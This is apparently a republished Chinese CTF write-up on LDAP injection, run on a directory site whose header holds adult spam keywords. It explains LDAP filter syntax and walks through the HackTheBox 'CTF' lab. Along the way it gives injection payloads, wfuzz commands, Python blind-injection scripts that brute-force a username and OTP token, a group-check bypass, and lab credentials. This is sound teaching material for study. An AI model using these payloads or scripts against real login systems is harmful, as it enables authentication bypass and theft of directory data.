日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

最近在HackTheBox上氪了金(肉疼?),做了一些已經retired的高質量邏輯,不得不說質量還是很高的。其中有一個靶機叫做CTF,難度是最高級別的insane,主要是它考察的知識點比較冷門——LDAP注入。可能很多小伙伴都沒怎么聽說過這個漏洞,我想主要原因還是LDAP這個協議用的比較少,而且國內CTF比賽中我也基本上沒有看到有考察這個點的。在網上搜了一下,發現最近一次出現這個考點的是在CSAW CTF Qualification Round 2018比賽中,題目直接告訴你了是考LDAP注入。剛好上個星期我在星盟內部分享中,也提到了這個知識點,那么本著聊勝于無,開闊知識面的本意下(其實是偷懶?),寫下這篇淺談LDAP注入攻擊的文章。

 

0x01 LDAP介紹

什么是LDAP

在做靶機之前,我們首先來了解一下什么是LDAP?

以下內容部分摘自2018 blackhat LDAP Injection & Blind LDAP Injection

LDAP(Lightweight Directory Access Protocol):輕量級目錄訪問協議,是一種在線目錄訪問協議,主要用于目錄中資源的搜索和查詢,是X.500的一種簡便的實現。

那么轉換成人話就是說,LDAP是用于訪問目錄服務(特別是基于X.500的目錄服務)的輕量級客戶端服務器協議,它通過TCP/IP傳輸服務運行。關鍵的地方就在于,數據是存儲在目錄中,而不是數據庫中。的確,目錄和數據庫有很多共同之處,都能存儲數據、并能在一定程度進行搜索和查詢。這里就有一個問題了,目錄和數據庫的區別在哪?

最重要的區別就是目錄適合于存放靜態數據,它存儲的數據無論在類型和種類較之數據庫中的數據都要更為繁多,包括音頻、視頻、可執行文件、文本等文件,另外目錄中還存在目錄的遞歸。既然是存放不同類型的靜態數據,那么目錄服務在進行優化后更適宜于讀訪問,而非寫、修改等操作。

說了這么半天,感覺還是貼一張圖來的更快。

黑客大神淺談LDAP注入攻擊

 

上面這張圖展示了LDAP的結構。我們都知道MySQL數據庫中的數據都是按記錄一條條記錄存在表中,而LDAP是樹結構的,數據存儲在葉子節點上。比如要描述上圖baby這個節點:

cn=baby, ou=marketing, ou=people, dc=mydomain, dc=org

LDAP的基本概念

在大概知道LDAP是做什么、長什么樣之后,我們再來了解一下LDAP的一些基本概念,主要是三個專有名詞:條目(Entry)、屬性(Attribute)、對象類(ObjectClass)。

條目

條目,也叫記錄項,是LDAP中最基本的顆粒,就像字典中的詞條或者是數據中的記錄。通常對LDAP的添加、刪除、修改、搜索都是以條目為基本單位。

屬性

每個條目都可以有很多屬性(Attribute),比如常見的人都有姓名、地址、電話等屬性。每個屬性都有名稱及對應的值,屬性值可以有單個、多個,比如你有多個郵箱。

此外,LDAP為人員組織機構中常見的對象都設計了屬性(比如commonName,surname)。

對象類

對象類是屬性的集合,LDAP預想了很多人員組織機構中常見的對象,并將其封裝成對象類。比如人員(person)含有姓(sn)、名(cn)、電話(telephoneNumber)、密碼(userPassword)等屬性,單位職工(organizationalPerson)是人員(person)的繼承類,除了上述屬性之外還含有職務(title)、郵政編碼(postalCode)、通信地址(postalAddress)等屬性。

通過對象類可以方便的定義條目類型。每個條目可以直接繼承多個對象類,這樣就繼承了各種屬性。如果2個對象類中有相同的屬性,則條目繼承后只會保留1個屬性。對象類同時也規定了哪些屬性是基本信息,即必要屬性和可選屬性。

是不是聽起來和面向對象語言有點相似,跟JAVA中的Object類一樣,LDAP的根對象類就叫做top。

上述就是筆者對LDAP數據結構的簡單介紹了,LDAP既然主要用于搜索查詢,那它是怎么查詢的呢?

LDAP的基本語法

LDAP的語法非常簡單,一看就會,再看就懂。

以下部分內容摘自https://blog.csdn.net/leader_ww/article/details/4028672

=(等于)

例如,如果希望查找屬性giveNname值為John的所有對象,可以使用(givenName=John)。這會返回對應條件的所有對象。

&(邏輯與)

例如,如果希望查找居住在 Dallas 并且givenName為John的所有對象,可以使用(&(givenName=John)(l=Dallas))。

請注意,每個參數都被屬于其自己的圓括號括起來。整個 LDAP 語句必須包括在一對主圓括號中。操作符 & 表明,只有每個參數都為真,才會將此篩選條件應用到要查詢的對象。

|(邏輯或)

例如,如果希望查找屬性givenName值為Jhon或者Jack的所有對象,可以使用(|(givenName=Jhon)(givenName=Jack))。

!(邏輯非)

例如,如果需要查找givenName為John的對象以外的所有對象。則應使用如下語句:(!givenName=John)

*(通配符)

可使用通配符表示值可以等于任何值。使用它的情況可能是:您希望查找具有職務頭銜的所有對象。為此,可以使用(title=*),這會返回title屬性包含內容的所有對象。

另一個例子是:您知道某個對象的givenName屬性的開頭兩個字母是“Jo”。那么,可以使用(givenName=Jo*)進行查找,這會返回givenName以Jo開頭的所有對象。

Over~~LDAP的語法是不是很簡單。

說了這么多,可能很多小伙伴還是心存疑問,已經部署成功的LDAP到底是長什么樣子?

我們可以通過google Hacking intitle:”phpLDAPadmin” inurl:cmd.php來檢索一下,真實的運行的LDAP服務的網站,這個地方我就貼一張圖示范一下,包含了上面提到的所有概念。

黑客大神淺談LDAP注入攻擊

 

0x02 LDAP注入攻擊面

其實它的攻擊手法和SQL注入的原理非常相似,在有漏洞的環境中,這些查詢參數沒有得到合適的過濾,因而攻擊者可以注入任意惡意代碼。由于比較簡單,我這里就走馬觀花的方式來過一遍LDAP注入的不同類型。

以下部分內容摘自https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html

AND注入

這種情況,應用會構造由”&”操作符和用戶引入的的參數組成的正常查詢在LDAP目錄中搜索,例如:

(&(parameter1=value1)(parameter2=value2))

這里Value1和value2是在LDAP目錄中搜索的值,攻擊者可以注入代碼,維持正確的過濾器結構但能使用查詢實現他自己的目標。

比如說,為了驗證客戶端提供的user/password對,構造如下LDAP過濾器并發送給LDAP服務器:

(&(USER=Uname)(PASSWORD=Pwd))

如果攻擊者輸入一個有效的用戶名,如r00tgrok,然后在這個名字后面注入恰當的語句,password檢查就會被繞過。

使得Uname=slisberger)(&)),引入任何字符串作為Pwd值,構造如下查詢并發送給服務器:

(&(USER= slisberger)(&)(PASSWORD=Pwd))

OR注入

這種情況,應用會構造由”|”操作符和用戶引入的的參數組成的正常查詢在LDAP目錄中搜索,例如:

(|(parameter1=value1)(parameter2=value2))

這里Value1和value2是在LDAP目錄中搜索的值,攻擊者可以注入代碼,維持正確的過濾器結構但能使用查詢實現他自己的目標。

類似的,加入現在用于展示可用資源的查詢為:

(|(type=Rsc1)(type=Rsc2))

Rsc1和Rsc2表示系統中不同種類的資源。如果攻擊者輸入Rsc=printer)(uid=*),則下面的查詢被發送給服務器:

(|(type=printer)(uid=*))(type=scanner)

這樣也會造成注入的產生。

盲注

SQL注入中有盲注,LDAP中也存在這種問題,包括下面介紹到的靶機用到的也是盲注的手法。

假設攻擊者可以從服務器響應中推測出什么,盡管應用沒有報出錯信息,LDAP過濾器中注入的代碼卻生成了有效的響應或錯誤。攻擊者可以利用這一行為向服務器問正確的或錯誤的問題。

還是用一個例子來說明。

假設一個Web應用想從一個LDAP目錄列出所有可用的Epson打印機,錯誤信息不會返回,應用發送如下的過濾器:

(&(objectClass=printer)(type=Epson*))

使用這個查詢,如果有可用的Epson打印機,其圖標就會顯示給客戶端,否則沒有圖標出現。如果攻擊者進行LDAP盲注入攻擊

*)(objectClass=*))(&(objectClass=void

Web應用會構造如下查詢:

(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))

僅第一個LDAP過濾器會被處理

(&(objectClass=*)(objectClass=*))

那么這樣就和我們查詢的初衷相違背了。

接下來就是這篇文章的重頭戲了,我們主要從這個邏機中學到兩點:

• 怎么發現LDAP注入漏洞

• 如何利用LDAP注入漏洞

 

0x03 從HTB靶機中學習LDAP注入

Initial Enunciation

拿到靶機先用Nmap掃一下端口

# Nmap 7.80 scan initiated Fri Jul 10 10:50:40 2020 as: nmap -sC -sV -oN ctf 10.10.10.122

Nmap scan report for ctf.htb (10.10.10.122)

Host is up (1.8s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

| ssh-hostkey:

| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)

| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)

|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)

80/tcp open http Apache httpd 2.4.6 ((centos) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)

|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Fri Jul 10 11:03:44 2020 -- 1 IP address (1 host up) scanned in 783.74 seconds

查看80端口

黑客大神淺談LDAP注入攻擊

 

大概的意思就是讓我們嘗試去登錄這個系統,但是不能用SQLmap或者Dirbuster去暴力猜解用戶名和密碼。

再去登錄界面看一下:

黑客大神淺談LDAP注入攻擊

 

提示我們是一個OTP,即One Time Password,一般而言是1分鐘更新一次。

查看源碼,發現有一個Hint

黑客大神淺談LDAP注入攻擊

 

如果比較熟悉LDAP的話,這里的兩個名詞schema和existing attribute已經提示了是關于LDAP注入。

作者用一個已知的屬性去存儲了81位的token string,Google搜一下token string (81 digits)。

https://www.systutorials.com/docs/linux/man/1-stoken/

黑客大神淺談LDAP注入攻擊

 

可以看到一個關鍵的地方,Pure numeric (81-digit) "ctf" (compressed token format) strings,和靶機的題目相契合,現在就有一點思路了,應該要去找到這個81位純數字的token,然后用stoken工具去生成OTP。那么主要是找到token,唯一可以利用的就是這個登錄框了。

先隨便用某個用戶名和密碼登錄admin:1234

黑客大神淺談LDAP注入攻擊

 

返回User admin not found,再用SQL注入的萬能密碼試一試

黑客大神淺談LDAP注入攻擊

 

直接是沒有任何顯示,應該是對一些特殊字符有黑名單過濾。Fuzz一下過濾了一些什么字符

wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w special-chars.txt 10.10.10.122/login.php

黑客大神淺談LDAP注入攻擊

 

—hw 233 代表過濾掉形如User xxx not found的返回信息。

我們發現+和&返回的是232 Words,但是在頁面測試一下

黑客大神淺談LDAP注入攻擊

 

發現返回的還是User + not found或者User & not found,這樣的話應該是233 Words,而不是Wfuzz返回的232 Words。

我們嘗試把這些特殊字符二次URL編碼,看Web應用是否還能解析,用seclists中的dobleurihex.txt作為字典

wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w doble-uri-hex.txt 10.10.10.122/login.php

黑客大神淺談LDAP注入攻擊

 

最后Fuzz出來的被過濾的字符就是

%2500 ---> %00

%2528 ---> (

%2529 ---> )

%252a ---> *

%255c --->

這些被過濾的字符就是LDAP注入需要過濾的所有字符,再結合login.php頁面源代碼中的hint,可以確定是LDAP注入。

Getting User Access

先來看LDAP注入的最基本形式

(&

(password=1234)

(uid=ca01h%00)

)

具體到這個靶機的話,我們需要猜解括號的個數。運用類似盲注的思想,如果注入成功,那么就會返回User ca01h not found。

假設只有一個括號:

黑客大神淺談LDAP注入攻擊

 

假設有兩個括號:

黑客大神淺談LDAP注入攻擊

 

假設有三個括號:

當嘗試到三個括號用于閉合時,成功返回了User ca01h%29%29%29%00 not found,那么這個登錄框的LDAP查詢的基本形式就是

(&

(&

(password=1234)

(uid=ca01h)))%00

)

(&|

(other comparing)

)

)

接著,我們再回頭去看一下Fuzz出來的被過濾的字符,其中%25%2a返回的消息長度為231 Words

黑客大神淺談LDAP注入攻擊

 

發現回響的消息是Cannot login,說明可以用*通配符來盲注用戶名,腳本如下:

#!/usr/bin/env Python3

### username_burp.py

import sys

import time

from string import ascii_lowercase

from urllib.parse import quote_plus

import requests

URL = 'http://10.10.10.122/login.php'

username, done = '', False

print()

while not done:

for c in ascii_lowercase:

payload = username + c + quote_plus('*')

data = {

'inputUsername': payload,

'inputOTP': '1234'

}

resp = requests.post(URL, data=data)

if 'Cannot login' in resp.text:

username += c

break

sys.stdout.write(f'r{username}{c}')

time.sleep(0.2)

else:

done = True

print(f'[+] Username: {username} n')

黑客大神淺談LDAP注入攻擊

 

用戶名為ldapuser

知道了用戶名之后,我們就要去獲取生成OTP的81位token,通過頁面源代碼的提示,這個token存儲在某一個LDAP默認已經存在的屬性當中。而默認的屬性可以在PayloadsAllTheThings中找到:

c

cn

co

commonName

dc

facsimileTelephoneNumber

givenName

gn

homePhone

id

jpegPhoto

l

mail

mobile

name

o

objectClass

ou

owner

pager

password

sn

st

surname

uid

username

userPassword

如果不想寫腳本的話用wfuzz來Fuzz靶機的LDAP中存在的屬性可能會更快一些,但還是要先找到注入的形式:

(&

(&

(password=1234)

(uid=ldapuser)

(FUZZ=*)

)

(&|

(other comparing)

)

)

此外還要把注入的字符ldapuser)(FUZZ=*進行二次URL編碼,編碼之后的結果ldapuser%2529%2528FUZZ%253d%252a。

wfuzz -c --hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=1234' -w LDAP_attributes.txt http://10.10.10.122/login.php

黑客大神淺談LDAP注入攻擊

 

我們Fuzz出來了這么些屬性是存在于靶機的LDAP服務中的,現在的工作就是一個一個的屬性來拆解,屬于一些重復性的工作,就不在這里過多贅述了,最后可以找到token是存儲于pager屬性中。接著寫腳本用來burp81位token

#!/usr/bin/python3

# pager_burp.py

import requests

import sys

from time import sleep

from string import digits

token = ""

URL = "http://10.10.10.122/login.php"

attribute = "pager"

loop = 1

while loop > 0:

for digit in digits:

token = token

# ldapuser)(pager=<token>)*

payload = f"ldapuser%29%28{attribute}%3d{token}{digit}%2a"

data = {"inputUsername": payload, "inputOTP": "1234"}

r = requests.post(URL, data=data)

sys.stdout.write(f"rToken: {token}{digit}")

sleep(0.5)

if b"Cannot login" in r.content:

token += digit

break

elif digit == "9":

loop = 0

break

print(f'[+] Token: {token} n')

黑客大神淺談LDAP注入攻擊

 

這里值得注意的是需要刪掉最后的一個9,所以最后的token就是:

285449490011357156531651545652335570713167411445727140604172141456711102716717000

接著用stoken工具導入token

黑客大神淺談LDAP注入攻擊

 

生成OTP

黑客大神淺談LDAP注入攻擊

 

成功登錄后,跳轉到page.php頁面,可以執行命令

黑客大神淺談LDAP注入攻擊

 

Damn it…..提示我們ldapuser權限不夠不能執行命令,這里有兩種辦法:

• 對

group

屬性進行注入,即把后面group屬性的filter截斷

(&

(&

(pager=<token>)

(uid=ldapuser)))%00

)

(|

(group=root)

(group=adm)

)

)

• 使用*通配符作為用戶名登錄

這里演示一下第一種方案,payload直接放到burp中

ldapuser%2529%2529%2529%2500

黑客大神淺談LDAP注入攻擊

 

再去執行ls命令

黑客大神淺談LDAP注入攻擊

 

讀取page.php文件:

黑客大神淺談LDAP注入攻擊

 

SSH登錄:fdapuser:e398e27d5c4ad45086fe431120932a01

 

黑客大神淺談LDAP注入攻擊

 

原文地址:https://www.anquanke.com/post/id/212186

分享到:
標簽:注入 LDAP
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定